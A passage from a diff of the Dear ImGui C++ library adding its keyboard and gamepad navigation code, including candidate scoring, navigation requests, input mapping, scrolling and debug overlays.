IM_COL32(255, 255, 0, 200)); + draw_list->AddRectFilled(cand.Max - ImVec2(4, 4), cand.Max + CalcTextSize(buf) + ImVec2(4, 4), IM_COL32(40, 0, 0, 150)); + draw_list->AddText(g.IO.FontDefault, 13.0f, cand.Max, ~0U, buf); + } + else if (g.IO.KeyCtrl) // Hold to preview score in matching quadrant. Press C to rotate. + { + if (IsKeyPressedMap(ImGuiKey_C)) { g.NavMoveDirLast = (ImGuiDir)((g.NavMoveDirLast + 1) & 3); g.IO.KeysDownDuration[g.IO.KeyMap[ImGuiKey_C]] = 0.01f; } + if (quadrant == g.NavMoveDir) + { + ImFormatString(buf, IM_ARRAYSIZE(buf), "%.0f/%.0f", dist_box, dist_center); + ImDrawList* draw_list = GetForegroundDrawList(window); + draw_list->AddRectFilled(cand.Min, cand.Max, IM_COL32(255, 0, 0, 200)); + draw_list->AddText(g.IO.FontDefault, 13.0f, cand.Min, IM_COL32(255, 255, 255, 255), buf); + } + } +#endif + + // Is it in the quadrant we're interesting in moving to? + bool new_best = false; + if (quadrant == g.NavMoveDir) + { + // Does it beat the current best candidate? + if (dist_box < result->DistBox) + { + result->DistBox = dist_box; + result->DistCenter = dist_center; + return true; + } + if (dist_box == result->DistBox) + { + // Try using distance between center points to break ties + if (dist_center < result->DistCenter) + { + result->DistCenter = dist_center; + new_best = true; + } + else if (dist_center == result->DistCenter) + { + // Still tied! we need to be extra-careful to make sure everything gets linked properly. We consistently break ties by symbolically moving "later" items + // (with higher index) to the right/downwards by an infinitesimal amount since we the current "best" button already (so it must have a lower index), + // this is fairly easy. This rule ensures that all buttons with dx==dy==0 will end up being linked in order of appearance along the x axis. + if (((g.NavMoveDir == ImGuiDir_Up || g.NavMoveDir == ImGuiDir_Down) ? dby : dbx) < 0.0f) // moving bj to the right/down decreases distance + new_best = true; + } + } + } + + // Axial check: if 'curr' has no link at all in some direction and 'cand' lies roughly in that direction, add a tentative link. This will only be kept if no "real" matches + // are found, so it only augments the graph produced by the above method using extra links. (important, since it doesn't guarantee strong connectedness) + // This is just to avoid buttons having no links in a particular direction when there's a suitable neighbor. you get good graphs without this too. + // 2017/09/29: FIXME: This now currently only enabled inside menu bars, ideally we'd disable it everywhere. Menus in particular need to catch failure. For general navigation it feels awkward. + // Disabling it may lead to disconnected graphs when nodes are very spaced out on different axis. Perhaps consider offering this as an option? + if (result->DistBox == FLT_MAX && dist_axial < result->DistAxial) // Check axial match + if (g.NavLayer == ImGuiNavLayer_Menu && !(g.NavWindow->Flags & ImGuiWindowFlags_ChildMenu)) + if ((g.NavMoveDir == ImGuiDir_Left && dax < 0.0f) || (g.NavMoveDir == ImGuiDir_Right && dax > 0.0f) || (g.NavMoveDir == ImGuiDir_Up && day < 0.0f) || (g.NavMoveDir == ImGuiDir_Down && day > 0.0f)) + { + result->DistAxial = dist_axial; + new_best = true; + } + + return new_best; +} + +static void ImGui::NavApplyItemToResult(ImGuiNavMoveResult* result, ImGuiWindow* window, ImGuiID id, const ImRect& nav_bb_rel) +{ + result->Window = window; + result->ID = id; + result->FocusScopeId = window->DC.NavFocusScopeIdCurrent; + result->RectRel = nav_bb_rel; +} + +// We get there when either NavId == id, or when g.NavAnyRequest is set (which is updated by NavUpdateAnyRequestFlag above) +static void ImGui::NavProcessItem(ImGuiWindow* window, const ImRect& nav_bb, const ImGuiID id) +{ + ImGuiContext& g = *GImGui; + //if (!g.IO.NavActive) // [2017/10/06] Removed this possibly redundant test but I am not sure of all the side-effects yet. Some of the feature here will need to work regardless of using a _NoNavInputs flag. + // return; + + const ImGuiItemFlags item_flags = window->DC.ItemFlags; + const ImRect nav_bb_rel(nav_bb.Min - window->Pos, nav_bb.Max - window->Pos); + + // Process Init Request + if (g.NavInitRequest && g.NavLayer == window->DC.NavLayerCurrent) + { + // Even if 'ImGuiItemFlags_NoNavDefaultFocus' is on (typically collapse/close button) we record the first ResultId so they can be used as a fallback + if (!(item_flags & ImGuiItemFlags_NoNavDefaultFocus) || g.NavInitResultId == 0) + { + g.NavInitResultId = id; + g.NavInitResultRectRel = nav_bb_rel; + } + if (!(item_flags & ImGuiItemFlags_NoNavDefaultFocus)) + { + g.NavInitRequest = false; // Found a match, clear request + NavUpdateAnyRequestFlag(); + } + } + + // Process Move Request (scoring for navigation) + // FIXME-NAV: Consider policy for double scoring (scoring from NavScoringRectScreen + scoring from a rect wrapped according to current wrapping policy) + if ((g.NavId != id || (g.NavMoveRequestFlags & ImGuiNavMoveFlags_AllowCurrentNavId)) && !(item_flags & (ImGuiItemFlags_Disabled | ImGuiItemFlags_NoNav))) + { + ImGuiNavMoveResult* result = (window == g.NavWindow) ? &g.NavMoveResultLocal : &g.NavMoveResultOther; +#if IMGUI_DEBUG_NAV_SCORING + // [DEBUG] Score all items in NavWindow at all times + if (!g.NavMoveRequest) + g.NavMoveDir = g.NavMoveDirLast; + bool new_best = NavScoreItem(result, nav_bb) && g.NavMoveRequest; +#else + bool new_best = g.NavMoveRequest && NavScoreItem(result, nav_bb); +#endif + if (new_best) + NavApplyItemToResult(result, window, id, nav_bb_rel); + + // Features like PageUp/PageDown need to maintain a separate score for the visible set of items. + const float VISIBLE_RATIO = 0.70f; + if ((g.NavMoveRequestFlags & ImGuiNavMoveFlags_AlsoScoreVisibleSet) && window->ClipRect.Overlaps(nav_bb)) + if (ImClamp(nav_bb.Max.y, window->ClipRect.Min.y, window->ClipRect.Max.y) - ImClamp(nav_bb.Min.y, window->ClipRect.Min.y, window->ClipRect.Max.y) >= (nav_bb.Max.y - nav_bb.Min.y) * VISIBLE_RATIO) + if (NavScoreItem(&g.NavMoveResultLocalVisibleSet, nav_bb)) + NavApplyItemToResult(&g.NavMoveResultLocalVisibleSet, window, id, nav_bb_rel); + } + + // Update window-relative bounding box of navigated item + if (g.NavId == id) + { + g.NavWindow = window; // Always refresh g.NavWindow, because some operations such as FocusItem() don't have a window. + g.NavLayer = window->DC.NavLayerCurrent; + g.NavFocusScopeId = window->DC.NavFocusScopeIdCurrent; + g.NavIdIsAlive = true; + g.NavIdTabCounter = window->DC.FocusCounterTabStop; + window->NavRectRel[window->DC.NavLayerCurrent] = nav_bb_rel; // Store item bounding box (relative to window position) + } +} + +bool ImGui::NavMoveRequestButNoResultYet() +{ + ImGuiContext& g = *GImGui; + return g.NavMoveRequest && g.NavMoveResultLocal.ID == 0 && g.NavMoveResultOther.ID == 0; +} + +void ImGui::NavMoveRequestCancel() +{ + ImGuiContext& g = *GImGui; + g.NavMoveRequest = false; + NavUpdateAnyRequestFlag(); +} + +void ImGui::NavMoveRequestForward(ImGuiDir move_dir, ImGuiDir clip_dir, const ImRect& bb_rel, ImGuiNavMoveFlags move_flags) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(g.NavMoveRequestForward == ImGuiNavForward_None); + NavMoveRequestCancel(); + g.NavMoveDir = move_dir; + g.NavMoveClipDir = clip_dir; + g.NavMoveRequestForward = ImGuiNavForward_ForwardQueued; + g.NavMoveRequestFlags = move_flags; + g.NavWindow->NavRectRel[g.NavLayer] = bb_rel; +} + +void ImGui::NavMoveRequestTryWrapping(ImGuiWindow* window, ImGuiNavMoveFlags move_flags) +{ + ImGuiContext& g = *GImGui; + + // Navigation wrap-around logic is delayed to the end of the frame because this operation is only valid after entire + // popup is assembled and in case of appended popups it is not clear which EndPopup() call is final. + g.NavWrapRequestWindow = window; + g.NavWrapRequestFlags = move_flags; +} + +// FIXME: This could be replaced by updating a frame number in each window when (window == NavWindow) and (NavLayer == 0). +// This way we could find the last focused window among our children. It would be much less confusing this way? +static void ImGui::NavSaveLastChildNavWindowIntoParent(ImGuiWindow* nav_window) +{ + ImGuiWindow* parent = nav_window; + while (parent && (parent->Flags & ImGuiWindowFlags_ChildWindow) != 0 && (parent->Flags & (ImGuiWindowFlags_Popup | ImGuiWindowFlags_ChildMenu)) == 0) + parent = parent->ParentWindow; + if (parent && parent != nav_window) + parent->NavLastChildNavWindow = nav_window; +} + +// Restore the last focused child. +// Call when we are expected to land on the Main Layer (0) after FocusWindow() +static ImGuiWindow* ImGui::NavRestoreLastChildNavWindow(ImGuiWindow* window) +{ + if (window->NavLastChildNavWindow && window->NavLastChildNavWindow->WasActive) + return window->NavLastChildNavWindow; + return window; +} + +static void NavRestoreLayer(ImGuiNavLayer layer) +{ + ImGuiContext& g = *GImGui; + g.NavLayer = layer; + if (layer == 0) + g.NavWindow = ImGui::NavRestoreLastChildNavWindow(g.NavWindow); + ImGuiWindow* window = g.NavWindow; + if (layer == 0 && window->NavLastIds[0] != 0) + ImGui::SetNavIDWithRectRel(window->NavLastIds[0], layer, 0, window->NavRectRel[0]); + else + ImGui::NavInitWindow(window, true); +} + +static inline void ImGui::NavUpdateAnyRequestFlag() +{ + ImGuiContext& g = *GImGui; + g.NavAnyRequest = g.NavMoveRequest || g.NavInitRequest || (IMGUI_DEBUG_NAV_SCORING && g.NavWindow != NULL); + if (g.NavAnyRequest) + IM_ASSERT(g.NavWindow != NULL); +} + +// This needs to be called before we submit any widget (aka in or before Begin) +void ImGui::NavInitWindow(ImGuiWindow* window, bool force_reinit) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(window == g.NavWindow); + bool init_for_nav = false; + if (!(window->Flags & ImGuiWindowFlags_NoNavInputs)) + if (!(window->Flags & ImGuiWindowFlags_ChildWindow) || (window->Flags & ImGuiWindowFlags_Popup) || (window->NavLastIds[0] == 0) || force_reinit) + init_for_nav = true; + IMGUI_DEBUG_LOG_NAV("[nav] NavInitRequest: from NavInitWindow(), init_for_nav=%d, window=\"%s\", layer=%d\n", init_for_nav, window->Name, g.NavLayer); + if (init_for_nav) + { + SetNavID(0, g.NavLayer, 0); + g.NavInitRequest = true; + g.NavInitRequestFromMove = false; + g.NavInitResultId = 0; + g.NavInitResultRectRel = ImRect(); + NavUpdateAnyRequestFlag(); + } + else + { + g.NavId = window->NavLastIds[0]; + g.NavFocusScopeId = 0; + } +} + +static ImVec2 ImGui::NavCalcPreferredRefPos() +{ + ImGuiContext& g = *GImGui; + if (g.NavDisableHighlight || !g.NavDisableMouseHover || !g.NavWindow) + { + // Mouse (we need a fallback in case the mouse becomes invalid after being used) + if (IsMousePosValid(&g.IO.MousePos)) + return g.IO.MousePos; + return g.LastValidMousePos; + } + else + { + // When navigation is active and mouse is disabled, decide on an arbitrary position around the bottom left of the currently navigated item. + const ImRect& rect_rel = g.NavWindow->NavRectRel[g.NavLayer]; + ImVec2 pos = g.NavWindow->Pos + ImVec2(rect_rel.Min.x + ImMin(g.Style.FramePadding.x * 4, rect_rel.GetWidth()), rect_rel.Max.y - ImMin(g.Style.FramePadding.y, rect_rel.GetHeight())); + ImRect visible_rect = GetViewportRect(); + return ImFloor(ImClamp(pos, visible_rect.Min, visible_rect.Max)); // ImFloor() is important because non-integer mouse position application in backend might be lossy and result in undesirable non-zero delta. + } +} + +float ImGui::GetNavInputAmount(ImGuiNavInput n, ImGuiInputReadMode mode) +{ + ImGuiContext& g = *GImGui; + if (mode == ImGuiInputReadMode_Down) + return g.IO.NavInputs[n]; // Instant, read analog input (0.0f..1.0f, as provided by user) + + const float t = g.IO.NavInputsDownDuration[n]; + if (t < 0.0f && mode == ImGuiInputReadMode_Released) // Return 1.0f when just released, no repeat, ignore analog input. + return (g.IO.NavInputsDownDurationPrev[n] >= 0.0f ? 1.0f : 0.0f); + if (t < 0.0f) + return 0.0f; + if (mode == ImGuiInputReadMode_Pressed) // Return 1.0f when just pressed, no repeat, ignore analog input. + return (t == 0.0f) ? 1.0f : 0.0f; + if (mode == ImGuiInputReadMode_Repeat) + return (float)CalcTypematicRepeatAmount(t - g.IO.DeltaTime, t, g.IO.KeyRepeatDelay * 0.72f, g.IO.KeyRepeatRate * 0.80f); + if (mode == ImGuiInputReadMode_RepeatSlow) + return (float)CalcTypematicRepeatAmount(t - g.IO.DeltaTime, t, g.IO.KeyRepeatDelay * 1.25f, g.IO.KeyRepeatRate * 2.00f); + if (mode == ImGuiInputReadMode_RepeatFast) + return (float)CalcTypematicRepeatAmount(t - g.IO.DeltaTime, t, g.IO.KeyRepeatDelay * 0.72f, g.IO.KeyRepeatRate * 0.30f); + return 0.0f; +} + +ImVec2 ImGui::GetNavInputAmount2d(ImGuiNavDirSourceFlags dir_sources, ImGuiInputReadMode mode, float slow_factor, float fast_factor) +{ + ImVec2 delta(0.0f, 0.0f); + if (dir_sources & ImGuiNavDirSourceFlags_Keyboard) + delta += ImVec2(GetNavInputAmount(ImGuiNavInput_KeyRight_, mode) - GetNavInputAmount(ImGuiNavInput_KeyLeft_, mode), GetNavInputAmount(ImGuiNavInput_KeyDown_, mode) - GetNavInputAmount(ImGuiNavInput_KeyUp_, mode)); + if (dir_sources & ImGuiNavDirSourceFlags_PadDPad) + delta += ImVec2(GetNavInputAmount(ImGuiNavInput_DpadRight, mode) - GetNavInputAmount(ImGuiNavInput_DpadLeft, mode), GetNavInputAmount(ImGuiNavInput_DpadDown, mode) - GetNavInputAmount(ImGuiNavInput_DpadUp, mode)); + if (dir_sources & ImGuiNavDirSourceFlags_PadLStick) + delta += ImVec2(GetNavInputAmount(ImGuiNavInput_LStickRight, mode) - GetNavInputAmount(ImGuiNavInput_LStickLeft, mode), GetNavInputAmount(ImGuiNavInput_LStickDown, mode) - GetNavInputAmount(ImGuiNavInput_LStickUp, mode)); + if (slow_factor != 0.0f && IsNavInputDown(ImGuiNavInput_TweakSlow)) + delta *= slow_factor; + if (fast_factor != 0.0f && IsNavInputDown(ImGuiNavInput_TweakFast)) + delta *= fast_factor; + return delta; +} + +static void ImGui::NavUpdate() +{ + ImGuiContext& g = *GImGui; + ImGuiIO& io = g.IO; + + io.WantSetMousePos = false; + g.NavWrapRequestWindow = NULL; + g.NavWrapRequestFlags = ImGuiNavMoveFlags_None; +#if 0 + if (g.NavScoringCount > 0) IMGUI_DEBUG_LOG("NavScoringCount %d for '%s' layer %d (Init:%d, Move:%d)\n", g.FrameCount, g.NavScoringCount, g.NavWindow ? g.NavWindow->Name : "NULL", g.NavLayer, g.NavInitRequest || g.NavInitResultId != 0, g.NavMoveRequest); +#endif + + // Set input source as Gamepad when buttons are pressed (as some features differs when used with Gamepad vs Keyboard) + // (do it before we map Keyboard input!) + bool nav_keyboard_active = (io.ConfigFlags & ImGuiConfigFlags_NavEnableKeyboard) != 0; + bool nav_gamepad_active = (io.ConfigFlags & ImGuiConfigFlags_NavEnableGamepad) != 0 && (io.BackendFlags & ImGuiBackendFlags_HasGamepad) != 0; + if (nav_gamepad_active && g.NavInputSource != ImGuiInputSource_NavGamepad) + { + if (io.NavInputs[ImGuiNavInput_Activate] > 0.0f || io.NavInputs[ImGuiNavInput_Input] > 0.0f || io.NavInputs[ImGuiNavInput_Cancel] > 0.0f || io.NavInputs[ImGuiNavInput_Menu] > 0.0f + || io.NavInputs[ImGuiNavInput_DpadLeft] > 0.0f || io.NavInputs[ImGuiNavInput_DpadRight] > 0.0f || io.NavInputs[ImGuiNavInput_DpadUp] > 0.0f || io.NavInputs[ImGuiNavInput_DpadDown] > 0.0f) + g.NavInputSource = ImGuiInputSource_NavGamepad; + } + + // Update Keyboard->Nav inputs mapping + if (nav_keyboard_active) + { +#define NAV_MAP_KEY(_KEY, _NAV_INPUT) do { if (IsKeyDown(io.KeyMap[_KEY])) { io.NavInputs[_NAV_INPUT] = 1.0f; g.NavInputSource = ImGuiInputSource_NavKeyboard; } } while (0) + NAV_MAP_KEY(ImGuiKey_Space, ImGuiNavInput_Activate); + NAV_MAP_KEY(ImGuiKey_Enter, ImGuiNavInput_Input); + NAV_MAP_KEY(ImGuiKey_Escape, ImGuiNavInput_Cancel); + NAV_MAP_KEY(ImGuiKey_LeftArrow, ImGuiNavInput_KeyLeft_); + NAV_MAP_KEY(ImGuiKey_RightArrow, ImGuiNavInput_KeyRight_); + NAV_MAP_KEY(ImGuiKey_UpArrow, ImGuiNavInput_KeyUp_); + NAV_MAP_KEY(ImGuiKey_DownArrow, ImGuiNavInput_KeyDown_); + if (io.KeyCtrl) + io.NavInputs[ImGuiNavInput_TweakSlow] = 1.0f; + if (io.KeyShift) + io.NavInputs[ImGuiNavInput_TweakFast] = 1.0f; + if (io.KeyAlt && !io.KeyCtrl) // AltGR is Alt+Ctrl, also even on keyboards without AltGR we don't want Alt+Ctrl to open menu. + io.NavInputs[ImGuiNavInput_KeyMenu_] = 1.0f; +#undef NAV_MAP_KEY + } + memcpy(io.NavInputsDownDurationPrev, io.NavInputsDownDuration, sizeof(io.NavInputsDownDuration)); + for (int i = 0; i < IM_ARRAYSIZE(io.NavInputs); i++) + io.NavInputsDownDuration[i] = (io.NavInputs[i] > 0.0f) ? (io.NavInputsDownDuration[i] < 0.0f ? 0.0f : io.NavInputsDownDuration[i] + io.DeltaTime) : -1.0f; + + // Process navigation init request (select first/default focus) + if (g.NavInitResultId != 0 && (!g.NavDisableHighlight || g.NavInitRequestFromMove)) + NavUpdateInitResult(); + g.NavInitRequest = false; + g.NavInitRequestFromMove = false; + g.NavInitResultId = 0; + g.NavJustMovedToId = 0; + + // Process navigation move request + if (g.NavMoveRequest) + NavUpdateMoveResult(); + + // When a forwarded move request failed, we restore the highlight that we disabled during the forward frame + if (g.NavMoveRequestForward == ImGuiNavForward_ForwardActive) + { + IM_ASSERT(g.NavMoveRequest); + if (g.NavMoveResultLocal.ID == 0 && g.NavMoveResultOther.ID == 0) + g.NavDisableHighlight = false; + g.NavMoveRequestForward = ImGuiNavForward_None; + } + + // Apply application mouse position movement, after we had a chance to process move request result. + if (g.NavMousePosDirty && g.NavIdIsAlive) + { + // Set mouse position given our knowledge of the navigated item position from last frame + if ((io.ConfigFlags & ImGuiConfigFlags_NavEnableSetMousePos) && (io.BackendFlags & ImGuiBackendFlags_HasSetMousePos)) + { + if (!g.NavDisableHighlight && g.NavDisableMouseHover && g.NavWindow) + { + io.MousePos = io.MousePosPrev = NavCalcPreferredRefPos(); + io.WantSetMousePos = true; + } + } + g.NavMousePosDirty = false; + } + g.NavIdIsAlive = false; + g.NavJustTabbedId = 0; + IM_ASSERT(g.NavLayer == 0 || g.NavLayer == 1); + + // Store our return window (for returning from Layer 1 to Layer 0) and clear it as soon as we step back in our own Layer 0 + if (g.NavWindow) + NavSaveLastChildNavWindowIntoParent(g.NavWindow); + if (g.NavWindow && g.NavWindow->NavLastChildNavWindow != NULL && g.NavLayer == ImGuiNavLayer_Main) + g.NavWindow->NavLastChildNavWindow = NULL; + + // Update CTRL+TAB and Windowing features (hold Square to move/resize/etc.) + NavUpdateWindowing(); + + // Set output flags for user application + io.NavActive = (nav_keyboard_active || nav_gamepad_active) && g.NavWindow && !(g.NavWindow->Flags & ImGuiWindowFlags_NoNavInputs); + io.NavVisible = (io.NavActive && g.NavId != 0 && !g.NavDisableHighlight) || (g.NavWindowingTarget != NULL); + + // Process NavCancel input (to close a popup, get back to parent, clear focus) + if (IsNavInputTest(ImGuiNavInput_Cancel, ImGuiInputReadMode_Pressed)) + { + IMGUI_DEBUG_LOG_NAV("[nav] ImGuiNavInput_Cancel\n"); + if (g.ActiveId != 0) + { + if (!IsActiveIdUsingNavInput(ImGuiNavInput_Cancel)) + ClearActiveID(); + } + else if (g.NavWindow && (g.NavWindow->Flags & ImGuiWindowFlags_ChildWindow) && !(g.NavWindow->Flags & ImGuiWindowFlags_Popup) && g.NavWindow->ParentWindow) + { + // Exit child window + ImGuiWindow* child_window = g.NavWindow; + ImGuiWindow* parent_window = g.NavWindow->ParentWindow; + IM_ASSERT(child_window->ChildId != 0); + FocusWindow(parent_window); + SetNavID(child_window->ChildId, 0, 0); + // Reassigning with same value, we're being explicit here. + g.NavIdIsAlive = false; // -V1048 + if (g.NavDisableMouseHover) + g.NavMousePosDirty = true; + } + else if (g.OpenPopupStack.Size > 0) + { + // Close open popup/menu + if (!(g.OpenPopupStack.back().Window->Flags & ImGuiWindowFlags_Modal)) + ClosePopupToLevel(g.OpenPopupStack.Size - 1, true); + } + else if (g.NavLayer != ImGuiNavLayer_Main) + { + // Leave the "menu" layer + NavRestoreLayer(ImGuiNavLayer_Main); + } + else + { + // Clear NavLastId for popups but keep it for regular child window so we can leave one and come back where we were + if (g.NavWindow && ((g.NavWindow->Flags & ImGuiWindowFlags_Popup) || !(g.NavWindow->Flags & ImGuiWindowFlags_ChildWindow))) + g.NavWindow->NavLastIds[0] = 0; + g.NavId = g.NavFocusScopeId = 0; + } + } + + // Process manual activation request + g.NavActivateId = g.NavActivateDownId = g.NavActivatePressedId = g.NavInputId = 0; + if (g.NavId != 0 && !g.NavDisableHighlight && !g.NavWindowingTarget && g.NavWindow && !(g.NavWindow->Flags & ImGuiWindowFlags_NoNavInputs)) + { + bool activate_down = IsNavInputDown(ImGuiNavInput_Activate); + bool activate_pressed = activate_down && IsNavInputTest(ImGuiNavInput_Activate, ImGuiInputReadMode_Pressed); + if (g.ActiveId == 0 && activate_pressed) + g.NavActivateId = g.NavId; + if ((g.ActiveId == 0 || g.ActiveId == g.NavId) && activate_down) + g.NavActivateDownId = g.NavId; + if ((g.ActiveId == 0 || g.ActiveId == g.NavId) && activate_pressed) + g.NavActivatePressedId = g.NavId; + if ((g.ActiveId == 0 || g.ActiveId == g.NavId) && IsNavInputTest(ImGuiNavInput_Input, ImGuiInputReadMode_Pressed)) + g.NavInputId = g.NavId; + } + if (g.NavWindow && (g.NavWindow->Flags & ImGuiWindowFlags_NoNavInputs)) + g.NavDisableHighlight = true; + if (g.NavActivateId != 0) + IM_ASSERT(g.NavActivateDownId == g.NavActivateId); + g.NavMoveRequest = false; + + // Process programmatic activation request + if (g.NavNextActivateId != 0) + g.NavActivateId = g.NavActivateDownId = g.NavActivatePressedId = g.NavInputId = g.NavNextActivateId; + g.NavNextActivateId = 0; + + // Initiate directional inputs request + if (g.NavMoveRequestForward == ImGuiNavForward_None) + { + g.NavMoveDir = ImGuiDir_None; + g.NavMoveRequestFlags = ImGuiNavMoveFlags_None; + if (g.NavWindow && !g.NavWindowingTarget && !(g.NavWindow->Flags & ImGuiWindowFlags_NoNavInputs)) + { + const ImGuiInputReadMode read_mode = ImGuiInputReadMode_Repeat; + if (!IsActiveIdUsingNavDir(ImGuiDir_Left) && (IsNavInputTest(ImGuiNavInput_DpadLeft, read_mode) || IsNavInputTest(ImGuiNavInput_KeyLeft_, read_mode))) { g.NavMoveDir = ImGuiDir_Left; } + if (!IsActiveIdUsingNavDir(ImGuiDir_Right) && (IsNavInputTest(ImGuiNavInput_DpadRight, read_mode) || IsNavInputTest(ImGuiNavInput_KeyRight_, read_mode))) { g.NavMoveDir = ImGuiDir_Right; } + if (!IsActiveIdUsingNavDir(ImGuiDir_Up) && (IsNavInputTest(ImGuiNavInput_DpadUp, read_mode) || IsNavInputTest(ImGuiNavInput_KeyUp_, read_mode))) { g.NavMoveDir = ImGuiDir_Up; } + if (!IsActiveIdUsingNavDir(ImGuiDir_Down) && (IsNavInputTest(ImGuiNavInput_DpadDown, read_mode) || IsNavInputTest(ImGuiNavInput_KeyDown_, read_mode))) { g.NavMoveDir = ImGuiDir_Down; } + } + g.NavMoveClipDir = g.NavMoveDir; + } + else + { + // Forwarding previous request (which has been modified, e.g. wrap around menus rewrite the requests with a starting rectangle at the other side of the window) + // (Preserve g.NavMoveRequestFlags, g.NavMoveClipDir which were set by the NavMoveRequestForward() function) + IM_ASSERT(g.NavMoveDir != ImGuiDir_None && g.NavMoveClipDir != ImGuiDir_None); + IM_ASSERT(g.NavMoveRequestForward == ImGuiNavForward_ForwardQueued); + IMGUI_DEBUG_LOG_NAV("[nav] NavMoveRequestForward %d\n", g.NavMoveDir); + g.NavMoveRequestForward = ImGuiNavForward_ForwardActive; + } + + // Update PageUp/PageDown/Home/End scroll + // FIXME-NAV: Consider enabling those keys even without the master ImGuiConfigFlags_NavEnableKeyboard flag? + float nav_scoring_rect_offset_y = 0.0f; + if (nav_keyboard_active) + nav_scoring_rect_offset_y = NavUpdatePageUpPageDown(); + + // If we initiate a movement request and have no current NavId, we initiate a InitDefautRequest that will be used as a fallback if the direction fails to find a match + if (g.NavMoveDir != ImGuiDir_None) + { + g.NavMoveRequest = true; + g.NavMoveRequestKeyMods = io.KeyMods; + g.NavMoveDirLast = g.NavMoveDir; + } + if (g.NavMoveRequest && g.NavId == 0) + { + IMGUI_DEBUG_LOG_NAV("[nav] NavInitRequest: from move, window \"%s\", layer=%d\n", g.NavWindow->Name, g.NavLayer); + g.NavInitRequest = g.NavInitRequestFromMove = true; + // Reassigning with same value, we're being explicit here. + g.NavInitResultId = 0; // -V1048 + g.NavDisableHighlight = false; + } + NavUpdateAnyRequestFlag(); + + // Scrolling + if (g.NavWindow && !(g.NavWindow->Flags & ImGuiWindowFlags_NoNavInputs) && !g.NavWindowingTarget) + { + // *Fallback* manual-scroll with Nav directional keys when window has no navigable item + ImGuiWindow* window = g.NavWindow; + const float scroll_speed = IM_ROUND(window->CalcFontSize() * 100 * io.DeltaTime); // We need round the scrolling speed because sub-pixel scroll isn't reliably supported. + if (window->DC.NavLayerActiveMask == 0x00 && window->DC.NavHasScroll && g.NavMoveRequest) + { + if (g.NavMoveDir == ImGuiDir_Left || g.NavMoveDir == ImGuiDir_Right) + SetScrollX(window, ImFloor(window->Scroll.x + ((g.NavMoveDir == ImGuiDir_Left) ? -1.0f : +1.0f) * scroll_speed)); + if (g.NavMoveDir == ImGuiDir_Up || g.NavMoveDir == ImGuiDir_Down) + SetScrollY(window, ImFloor(window->Scroll.y + ((g.NavMoveDir == ImGuiDir_Up) ? -1.0f : +1.0f) * scroll_speed)); + } + + // *Normal* Manual scroll with NavScrollXXX keys + // Next movement request will clamp the NavId reference rectangle to the visible area, so navigation will resume within those bounds. + ImVec2 scroll_dir = GetNavInputAmount2d(ImGuiNavDirSourceFlags_PadLStick, ImGuiInputReadMode_Down, 1.0f / 10.0f, 10.0f); + if (scroll_dir.x != 0.0f && window->ScrollbarX) + SetScrollX(window, ImFloor(window->Scroll.x + scroll_dir.x * scroll_speed)); + if (scroll_dir.y != 0.0f) + SetScrollY(window, ImFloor(window->Scroll.y + scroll_dir.y * scroll_speed)); + } + + // Reset search results + g.NavMoveResultLocal.Clear(); + g.NavMoveResultLocalVisibleSet.Clear(); + g.NavMoveResultOther.Clear(); + + // When using gamepad, we project the reference nav bounding box into window visible area. + // This is to allow resuming navigation inside the visible area after doing a large amount of scrolling, since with gamepad every movements are relative + // (can't focus a visible object like we can with the mouse). + if (g.NavMoveRequest && g.NavInputSource == ImGuiInputSource_NavGamepad && g.NavLayer == ImGuiNavLayer_Main) + { + ImGuiWindow* window = g.NavWindow; + ImRect window_rect_rel(window->InnerRect.Min - window->Pos - ImVec2(1, 1), window->InnerRect.Max - window->Pos + ImVec2(1, 1)); + if (!window_rect_rel.Contains(window->NavRectRel[g.NavLayer])) + { + IMGUI_DEBUG_LOG_NAV("[nav] NavMoveRequest: clamp NavRectRel\n"); + float pad = window->CalcFontSize() * 0.5f; + window_rect_rel.Expand(ImVec2(-ImMin(window_rect_rel.GetWidth(), pad), -ImMin(window_rect_rel.GetHeight(), pad))); // Terrible approximation for the intent of starting navigation from first fully visible item + window->NavRectRel[g.NavLayer].ClipWithFull(window_rect_rel); + g.NavId = g.NavFocusScopeId = 0; + } + } + + // For scoring we use a single segment on the left side our current item bounding box (not touching the edge to avoid box overlap with zero-spaced items) + ImRect nav_rect_rel = g.NavWindow ? g.NavWindow->NavRectRel[g.NavLayer] : ImRect(0, 0, 0, 0); + g.NavScoringRect = g.NavWindow ? ImRect(g.NavWindow->Pos + nav_rect_rel.Min, g.NavWindow->Pos + nav_rect_rel.Max) : GetViewportRect(); + g.NavScoringRect.TranslateY(nav_scoring_rect_offset_y); + g.NavScoringRect.Min.x = ImMin(g.NavScoringRect.Min.x + 1.0f, g.NavScoringRect.Max.x); + g.NavScoringRect.Max.x = g.NavScoringRect.Min.x; + IM_ASSERT(!g.NavScoringRect.IsInverted()); // Ensure if we have a finite, non-inverted bounding box here will allows us to remove extraneous ImFabs() calls in NavScoreItem(). + //GetForegroundDrawList()->AddRect(g.NavScoringRectScreen.Min, g.NavScoringRectScreen.Max, IM_COL32(255,200,0,255)); // [DEBUG] + g.NavScoringCount = 0; +#if IMGUI_DEBUG_NAV_RECTS + if (g.NavWindow) + { + ImDrawList* draw_list = GetForegroundDrawList(g.NavWindow); + if (1) { for (int layer = 0; layer < 2; layer++) draw_list->AddRect(g.NavWindow->Pos + g.NavWindow->NavRectRel[layer].Min, g.NavWindow->Pos + g.NavWindow->NavRectRel[layer].Max, IM_COL32(255, 200, 0, 255)); } // [DEBUG] + if (1) { ImU32 col = (!g.NavWindow->Hidden) ? IM_COL32(255, 0, 255, 255) : IM_COL32(255, 0, 0, 255); ImVec2 p = NavCalcPreferredRefPos(); char buf[32]; ImFormatString(buf, 32, "%d", g.NavLayer); draw_list->AddCircleFilled(p, 3.0f, col); draw_list->AddText(NULL, 13.0f, p + ImVec2(8, -4), col, buf); } + } +#endif +} + +static void ImGui::NavUpdateInitResult() +{ + // In very rare cases g.NavWindow may be null (e.g. clearing focus after requesting an init request, which does happen when releasing Alt while clicking on void) + ImGuiContext& g = *GImGui; + if (!g.NavWindow) + return; + + // Apply result from previous navigation init request (will typically select the first item, unless SetItemDefaultFocus() has been called) + IMGUI_DEBUG_LOG_NAV("[nav] NavInitRequest: result NavID 0x%08X in Layer %d Window \"%s\"\n", g.NavInitResultId, g.NavLayer, g.NavWindow->Name); + if (g.NavInitRequestFromMove) + SetNavIDWithRectRel(g.NavInitResultId, g.NavLayer, 0, g.NavInitResultRectRel); + else + SetNavID(g.NavInitResultId, g.NavLayer, 0); + g.NavWindow->NavRectRel[g.NavLayer] = g.NavInitResultRectRel; +} + +// 